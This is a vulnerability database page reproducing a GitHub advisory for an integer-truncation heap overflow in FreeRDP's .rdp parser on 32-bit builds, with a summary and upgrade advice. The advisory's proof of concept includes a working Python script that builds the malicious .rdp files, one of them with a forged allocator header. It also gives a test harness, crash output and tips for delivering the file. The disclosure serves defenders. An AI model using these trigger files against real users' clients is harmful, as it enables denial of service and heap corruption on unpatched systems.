Heap buffer overflow in FreeRDP .rdp file parsing on 32-bit builds
Key facts
- Attack vector
- Local
- Privileges required
- None
- User interaction
- Required
- Attack complexity
- Low
- Impact type
- —
- Confidentiality · integrity · availability
- None · High · None
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-q6xv-9q28-5fw9. Fix status from GitHub.
Summary
FreeRDP versions later than 2.0.0 and before 3.34.0 are affected. On builds with a 32-bit size_t, the .rdp file parser truncates a 64-bit file size, which makes a heap buffer too small and lets file content overflow it (CWE-190). A local attacker can craft a .rdp file that crashes the client or corrupts heap memory when a user opens it.
Written with Claude Haiku 5.5 from the sources below · 2026-12-03
Description from the GitHub advisory
### Summary `freerdp_client_parse_rdp_file_ex()` sizes its read buffer from a 64-bit file length truncated to `size_t`. On any FreeRDP build with 32-bit `size_t` (i386/i686, ARM32, Win32 — all explicitly supported by the project), a `.rdp` file whose size is `2^32-1` (or `2^32-2`) bytes makes `(size_t)file_size + 2` wrap to `1` (or `0`), so `malloc` returns a 1-byte (or minimum-chunk) heap buffer that a single `fread` then overflows with the entire attacker-chosen file content. The kernel copy runs past the allocation until it reaches the end of the mapped heap, overwriting heap chunks, allocator metadata (the glibc top-chunk header sits at `buffer+8`, i.e. file offsets 8–15, fully attacker-controlled), and any live allocations mapped above the buffer. The attacker chooses both the bytes and, via the file size, the extent. The trigger is a single `.rdp` file argument to any FreeRDP client — no network connection, server, or credential prompt is involved; the overflow fires inside command-line parsing, before the client reaches the network or the GUI. The result is deterministic client death (glibc heap-consistency abort, or a fault on an attacker-corrupted pointer), and the attacker can additionally craft the allocator metadata so the process *survives* teardown with attacker-shaped heap state. A live pointer overwritten with file content is demonstrably dereferenced during cleanup (attacker-chosen fault addresses under ASan). Tested against upstream master (commit `6dddcd3e66d39d98e1de7e770a98fa654771340b`, 2026-11-13): the overflow reproduces — deterministic aborts, attacker-controlled pointer dereference, and the crafted-metadata survival — in a minimal public -API harness and in the in-tree `sfreerdp` client. ### Details `client/common/file.c`, `freerdp_client_parse_rdp_file_ex()` — line numbers are from upstream master `6dddcd3e6`: ```c 1049: file_size = _ftelli64(fp); /* INT64, full 64-bit range */ 1053: if (file_size < 1) { ... return; } /* lower bound only */ 1059: buffer = (BYTE*)malloc((size_t)file_size + 2); 1062: if (!buffer) goto fail; 1064: read_size = fread(buffer, (size_t)file_size, 1, fp); 1066: if (!read_size) { if (!ferror(fp)) read_size = (size_t)file_size; } 1078: buffer[file_size] = '\0'; 1079: buffer[file_size + 1] = '\0'; 1080: status = freerdp_client_parse_rdp_file_buffer_ex(file, buffer, (size_t)file_size, parse); ``` `file_size` is `INT64` obtained from `_ftelli64` (line 1049). The project deliberately supports 32-bit builds (`cmake/ConfigOptions.cmake:3` matches `CMAKE_SIZEOF_VOID_P EQUAL 4`) and gives `file_size` the full 64-bit range even there (`cmake/PlatformDefaults.cmake` defines `_FILE_OFFSET_BITS=64` on Linux and FreeBSD; `_ftelli64` is native on Windows). There is no upper bound between the `file_size < 1` check (line 1053) and the truncated `malloc` (line 1059). On 64-bit builds `(size_t)file_size + 2` cannot wrap, the allocation is correct, and the file parses cleanly — the defect is specific to 32-bit `size_t`. Mechanism on a 32-bit build with a file of `2^32-1` bytes: `(size_t)file_size + 2` wraps to `1`, `malloc(1)` succeeds, and the `fread` at line 1064 issues a direct `read(2)` of ~4 GB into the 1-byte buffer. The kernel's `copy_to_user` copies attacker file content past the allocation until it reaches the first unmapped page (measured: `read(3, ..., 4294963200) = 132992`, next `read` → `EFAULT`); no fault occurs during the copy itself. `fread` returns 0 with the error flag, the `read_size < 1` path frees the buffer, and glibc detects the destroyed top-chunk header — the 1-byte buffer is the last allocation, so its next chunk *is* the top chunk, and that header sits at `buffer+8`, i.e. file offsets 8–15, fully attacker-controlled. The proximate abort is `malloc(): corrupted top size` (SIGABRT) during teardown. Attacker control demonstrated: * **Size choice:** both `2^32-1` (malloc(1)) and `2^32-2` (malloc(0)) trigger; any size ≡ 2^32−1 or 2^32−2 (mod 2^32) wo rks. * **Content → fault address:** under ASan the faulting address is the file's own bytes read back as a pointer — `0x56435 85a` = `"ZXCV"` at offset 68 of file A, `0x454b4341` = `"ACKE"` at offset 18 of file D (files defined in the Proof of concept section). Two files → two attacker-chosen fault addresses: the overflow overwrote a live pointer that cleanup (`freerdp_client_rdp_file_free` → `freerdp_addin_argv_free`, master `libfreerdp/common/settings.c:731`) then dereferenced.* **Crash vs. survive:** writing a *consistent* top-chunk header (`prev_size=16`, `size=0x20779|PREV_INUSE`) at file offsets 8–15 makes `free()` pass its consistency checks; the harness exits cleanly with attacker-shaped allocator state. Scrambling only those 8 bytes restores the abort. The attacker therefore chooses whether the process dies in the allocator or survives with allocator metadata the attacker wrote. Two secondary consequences of the same truncation, identified from the code above (not reproduced for this report): * **Short-read override (file.c:1066-1070).** If `fread` returns 0 with EOF and no error (e.g. a FUSE file that reports 4 GB but returns no data), `read_size` is forced to `(size_t)file_size` and execution continues past the `read_size < 1` check. `freerdp_client_parse_rdp_file_buffer_ex` is then called with a 4 GB length over the 1-byte buffer: `calloc(1, size + sizeof(BYTE))` at `file.c:993` wraps and the `memcpy` at `file.c:998` performs a multi-gigabyte out-of-bounds read and write before faulting. This is a second crash mode; the out-of-bounds read faults before any copied heap data reaches a sink, so it adds no confidentiality impact. * **Terminator underflow write (file.c:1078-1079).** Reached on the same short-read path. `buffer[file_size] = '\0'` indexes with the untruncated INT64; on 32-bit the pointer arithmetic wraps, writing 1 byte at `buf[-1]` (into the chunk header *before* the allocation) and 1 byte at `buf[0]`. Reachability: `argv[1]` of any FreeRDP client is parsed through this path (master `client/common/cmdline.c:6049` recognises the `.rdp` file, `:6078` calls `freerdp_client_settings_parse_connection_file()` → `client/common/client.c:483` `freerdp_client_parse_rdp_file()` → `client/common/file.c:1022` `freerdp_client_parse_rdp_file_ex()`). The function is also a public API (`include/freerdp/client/file.h:47`), so third-party applications passing an attacker-supplied path reach it as well. ### Proof of concept Validated against upstream master @ `6dddcd3e66d39d98e1de7e770a98fa654771340b` (clean tree) on Ubuntu 24.04 x86_64 with i686 multilib (gcc 13.3.0, glibc 2.39). Only i686 Linux was tested; ARM32 and Win32 share the same code but were not run. 1. **Generate the trigger files** (sparse, a few KB of actual disk use each): ```python #!/usr/bin/env python3 import struct PAT = b"XCVBZXCV" * 8 # 64 bytes of attacker-chosen filler def make(path, size, head): with open(path, "wb") as f: f.write(head) f.truncate(size) # sparse tail of zeros text = b"full address:s:198.51.100.10\nprompt for credential:s:Y\n" head_a = text + b"\x00" * 9 + PAT # same layout, but offsets 8-15 hold a consistent glibc top-chunk header head_c = (b"full add" + struct.pack("<II", 16, 0x20779) + b"98.51.100.10\nprompt for credential:s:Y\n" + b"\x00" * 9 + PAT) head_d = (b"full address:s:ATTACKER_PATTERN_DEADBEEF_" * 1599)[:65536] make("attack_a.rdp", 0xFFFFFFFF, head_a) # file A: 2^32-1 -> malloc(1) make("attack_b.rdp", 0xFFFFFFFE, head_a) # file B: 2^32-2 -> malloc(0) make("attack_c.rdp", 0xFFFFFFFF, head_c) # file C: crafted header -> survives make("attack_d.rdp", 0xFFFFFFFF, head_d) # file D: 64 KiB repeating pattern with open("benign.rdp", "w") as f: # control f.write("full address:s:192.0.2.10\nprompt for credential:s:Y\nusername:s:test\n") ``` 2. **Build master 32-bit** in three configurations. Client front-ends other than the sample were disabled to keep the i686 dependency set small; the affected code is in `client/common`, which every client links. ```sh # common options COMMON="-DWITH_SAMPLE=ON -DWITH_X11=OFF -DWITH_CLIENT_SDL=OFF -DWITH_FUSE=OFF \ -DCHANNEL_URBDRC=OFF -DWITH_SNDIO=OFF \ -DOPENSSL_SSL_LIBRARY=/usr/lib/i386-linux-gnu/libssl.so \ -DOPENSSL_CRYPTO_LIBRARY=/usr/lib/i386-linux-gnu/libcrypto.so \ -DOPENSSL_INCLUDE_DIR=/usr/include/i386-linux-gnu;/usr/include" # Debug cmake -S FreeRDP -B build32 -DCMAKE_BUILD_TYPE=Debug -DCMAKE_C_FLAGS="-m32 -g" $COMMON # ASan cmake -S FreeRDP -B build-asan32 -DCMAKE_BUILD_TYPE=Debug \ -DCMAKE_C_FLAGS="-m32 -fsanitize=address -fno-omit-frame-pointer -g" \ -DCMAKE_EXE_LINKER_FLAGS=-fsanitize=address \ -DCMAKE_SHARED_LINKER_FLAGS=-fsanitize=address $COMMON # Release (Ubuntu gcc enables _FORTIFY_SOURCE=3 by default at -O1+) cmake -S FreeRDP -B build-rel32 -DCMAKE_BUILD_TYPE=Release -DCMAKE_C_FLAGS="-m32" $COMMON ``` Minimal harness (public API only), built against each build directory `B` with `gcc -m32 -g -O0` (plus `-fsanitize=address` for the ASan build), linking `-lfreerdp-client3 -lfreerdp3 -lwinpr3`: ```c #include <stdio.h> #include <freerdp/client/file.h> int main(int argc, char** argv) { if (argc < 2) return 2; rdpFile* file = freerdp_client_rdp_file_new(); if (!file) return 2; BOOL ok = freerdp_client_parse_rdp_file_ex(file, argv[1], NULL); printf("parse result: %d\n", ok); freerdp_client_rdp_file_free(file); return ok ? 0 : 1; } ``` 3. **Debug build, harness** — deterministic heap-corruption abort: ``` $ ./harness attack_a.rdp malloc(): corrupted top size # SIGABRT, exit 134 — 6/6 runs $ ./harness attack_b.rdp # same $ ./harness attack_d.rdp # same $ ./harness attack_c.rdp # crafted header: survives, "parse result: 0", exit 1 $ ./harness benign.rdp # "parse result: 1", exit 0 (control) ``` `strace` of `attack_a.rdp` shows the mechanism: ``` read(3, "full address:s:198.51.100.10\npro"..., 4294963200) = 132992 read(3, 0x60c6e000, 4294832128) = -1 EFAULT (Bad address) malloc(): corrupted top size --- SIGABRT --- ``` 4. **ASan build, harness** — attacker-chosen pointer dereferenced: ``` $ ./harness attack_a.rdp ERROR: AddressSanitizer: SEGV on unknown address 0x5643585a The signal is caused by a READ memory access. #0 freerdp_addin_argv_free libfreerdp/common/settings.c:731 #1 freerdp_client_rdp_file_free client/common/file.c:2948 ``` `attack_d.rdp` → SEGV at `0x454b4341`, same frames; `attack_c.rdp` → SEGV at `0x5643585a`, same frames. 5. **In-tree `sfreerdp` client** (`client/Sample/`): ``` $ sfreerdp attack_a.rdp # Debug: SIGSEGV (exit 139) $ sfreerdp attack_c.rdp # Debug: SIGSEGV (exit 139) $ sfreerdp attack_a.rdp # Release (fortify): *** buffer overflow detected ***: terminated # glibc __fread_chk abort in # freerdp_client_parse_rdp_file_ex — 3/3 (exit 134) $ sfreerdp attack_c.rdp # Release: same fortify abort (exit 134) $ sfreerdp benign.rdp # parses cleanly, proceeds to connect (control) ``` The Release fortify abort (`_FORTIFY_SOURCE=3`, Ubuntu gcc default at `-O1+`) is a toolchain mitigation, not a fix: builds that do not enable it — non-glibc toolchains, explicit `-U_FORTIFY_SOURCE`, or `-O0`/Debug — see the real corruption (the Debug `sfreerdp` runs above die from the corrupted heap itself). ### Impact **CWE-190 integer truncation → heap buffer overflow (CWE-122).** A remote attacker who delivers a `.rdp` file (download link, e-mail attachment) and convinces a user to open it with a 32-bit FreeRDP client achieves: * **Availability: High.** Deterministic client death on every run in every 32-bit configuration tested: `malloc(): corrupted top size` abort (Debug), `__fread_chk` fortify abort (Release), SIGSEGV in the client (Debug `sfreerdp`). * **Integrity: High.** The attacker chooses the bytes written over the heap and the extent; the overwritten range includes allocator metadata (top-chunk header proven attacker-controlled: it decides crash vs. clean survival) and live objects the process subsequently consumes (pointer dereferenced at `settings.c:731`). Total integrity loss within the overwritten range. Code execution is a plausible extension (attacker-chosen pointer values are dereferenced and freed) but is not claimed as scored impact. * **Confidentiality: None.** The defect writes the attacker's own file content into the process; no code path copies victim memory back to the attacker. The one out-of-bounds read (short-read `memcpy` at `file.c:998`) faults on unmapped pages before any copied heap data reaches a sink. Who is impacted: users of 32-bit FreeRDP builds (i386/i686, ARM32, Win32 — the project explicitly supports them; only i686 Linux was tested) on any version whose `freerdp_client_parse_rdp_file_ex` has this shape, including current upstream master. Delivery of the ~4 GB file is practical: sparseness does not survive transport, but a 2^32−1-byte file carrying the 64-byte pattern region with the rest zeros compresses to ~625 KB with `xz -6` (~4.2 MB with `gzip -6`); the attacker only needs to populate the first ~130 KB, the rest can be zeros.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c) | > 2.0.0 | 3.34.0 | Patch available | GHSA-q6xv-9q28-5fw9 |
- FreeRDP (c) Vendor— Affected > 2.0.0 Fixed in 3.34.0 Patch available GHSA-q6xv-9q28-5fw9
Remediation
Upgrade FreeRDP to version 3.34.0 or later, the version listed as fixed.
Written with Claude Haiku 5.5 from the sources below · 2026-12-03
- Fix · GHSA-q6xv-9q28-5fw9 FreeRDP (c) Fixed in 3.34.0 Advisory →
Timeline
- 2026-12-03 Threatist record created from GHSA-q6xv-9q28-5fw9
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences